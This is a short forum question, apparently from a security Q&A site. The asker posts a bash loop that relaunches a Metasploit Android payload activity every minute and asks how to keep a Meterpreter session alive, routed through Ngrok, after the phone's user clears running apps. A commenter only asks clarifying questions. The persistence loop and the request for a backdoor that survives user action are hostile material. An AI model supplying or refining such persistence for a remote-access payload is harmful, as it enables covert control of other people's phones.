This is the bash script for my android payload

while :
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 60

The issue is when I do Clear running apps in the mobile it doesn't get the connection back, it does the following...

Issue Top Left Terminal is the bash script, Bottom left Terminal is the Ngrok port forwarding session, Right Terminal is the msfconsole (You can see the issue).

Is there a script that never quit the running MainActivity app even if I click clear running apps on mobile ? Am I missing anything ? What might be the issue ?

  • In words, what is happening, and what do you want to happen? The picture isn't entirely clear on which part you are concerned about. – multithr3at3d Jun 24 '20 at 13:19
  • I lose meterpreter connection when I click "clear running apps" on my mobile. Is there a way that doesn't allow MainActivity app to exit when that button is clicked ? – Jiya Jun 24 '20 at 14:11
  • Doesn't your script restart it after a minute though? The issue would be with the payload/app, not the script, I'd imagine. – multithr3at3d Jun 24 '20 at 14:33
  • No the script doesn't restart. – Jiya Jun 24 '20 at 14:35
  • do you mean that the script itself is killed? – multithr3at3d Jun 24 '20 at 17:25

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.